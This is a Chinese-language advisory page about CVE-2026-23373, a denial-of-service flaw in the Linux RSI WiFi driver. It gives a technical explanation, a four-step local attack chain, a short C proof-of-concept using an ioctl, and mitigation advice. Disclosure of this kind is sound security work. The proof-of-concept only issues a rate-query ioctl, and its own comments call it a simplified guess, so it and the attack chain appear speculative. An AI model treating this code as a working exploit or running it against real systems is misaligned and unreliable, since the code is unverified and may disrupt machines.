IPBUF安全漏洞报告
English
CVE-2026-23373 CVSS 5.5 中危

CVE-2026-23373 Linux内核rsi驱动拒绝服务漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23373
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelCVE-2026-23373WiFi DriverDenial of ServiceRSILocal Privilege

漏洞概述

Linux内核中的RSI WiFi驱动程序存在一个拒绝服务漏洞。该漏洞源于`rsi_mac80211_config`函数在处理配置请求时,默认返回了`-EOPNOTSUPP`错误码,这一行为触发了`ieee80211_hw_conf_init`中的警告断言(WARN_ON)。本地低权限攻击者可利用此缺陷,通过发送特定的配置请求导致系统内核崩溃或WiFi服务中断,从而影响系统可用性。

技术细节

该漏洞位于Linux内核的无线驱动子系统,具体文件为`drivers/net/wireless/rsi/rsi_91x_mac80211.c`中的`rsi_mac80211_config`函数。漏洞的根本原因在于该函数在处理未明确支持的配置命令时,错误地默认返回了`-EOPNOTSUPP`(操作不支持)错误码。

根据Linux内核无线子系统(mac80211)的设计规范,驱动程序在处理配置回调时,对于未处理的选项应当默认返回0(表示成功或忽略),而不是报错。当mac80211层调用`ieee80211_hw_conf_init`进行硬件配置初始化时,如果驱动返回`-EOPNOTSUPP`,内核会认为初始化流程出现严重异常,从而触发`WARN_ON`宏。

虽然通常情况下`WARN_ON`仅会在系统日志中输出堆栈跟踪信息,但这会消耗系统资源并可能导致日志膨胀。更重要的是,如果系统管理员开启了`panic_on_warn`内核参数,或者该警告导致了后续的状态机异常,将直接导致内核崩溃,系统重启或死机。由于CVSS向量为AV:L/PR:L,本地低权限用户即可通过调用`ioctl`或使用`iw`工具等手段发送特定的配置指令,触发该逻辑漏洞,从而造成拒绝服务。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获取目标Linux系统的本地低权限用户访问权限。
STEP 2
步骤2:识别驱动
攻击者确认系统正在使用带有RSI芯片组(如RSI9113)的WiFi硬件,并加载了 vulnerable 版本的`rsi`内核驱动。
STEP 3
步骤3:触发漏洞
攻击者执行恶意代码或使用工具(如`iw`或自定义C程序)向无线接口发送特定的配置请求(ioctl或netlink消息)。
STEP 4
步骤4:拒绝服务
`rsi_mac80211_config`函数返回错误代码,触发内核`WARN_ON`,导致系统日志泛滥、内核恐慌或WiFi服务崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23373 * This concept demonstrates triggering the configuration path in the RSI driver. * Requires a system with the vulnerable RSI WiFi hardware and driver loaded. * Compilation: gcc -o poc_cve2026_23373 poc_cve2026_23373.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/wireless.h> int main() { int sock; struct iwreq wrq; char ifname[] = "wlan0"; // Replace with actual interface name // Create a socket for ioctl communication sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // Prepare the request structure strncpy(wrq.ifr_name, ifname, IFNAMSIZ); /* * Attempt to trigger the config path. * Sending a generic or unsupported configuration command * may hit the default return -EOPNOTSUPP case in rsi_mac80211_config. * This is a simplified trigger; specific hardware interaction might be needed. */ // Example: Trying to set a parameter that might fall through to default case // Note: Actual trigger depends on specific driver implementation details. if (ioctl(sock, SIOCGIWRATE, &wrq) < 0) { perror("ioctl"); // Depending on system config, this might trigger the WARN_ON path printf("[+] Potential trigger sent to %s\n", ifname); } else { printf("[+] ioctl executed\n"); } close(sock); return 0; }

影响范围

Linux Kernel < Commit 67d10e8db57ffc21f8177e9e884bbc743fdc0bae
Linux Kernel < Commit 95ed07644b2c6119f706484b87b7f43e6133f3b5
Linux Kernel < Commit b64fbd718cf42feb75502bf25d0d16eb671aea45

防御指南

临时缓解措施
如果无法立即升级内核,建议暂时禁用受影响的RSI WiFi硬件模块(使用rmmod rsi_91x或blacklist配置),以防止本地攻击者利用该漏洞造成系统崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表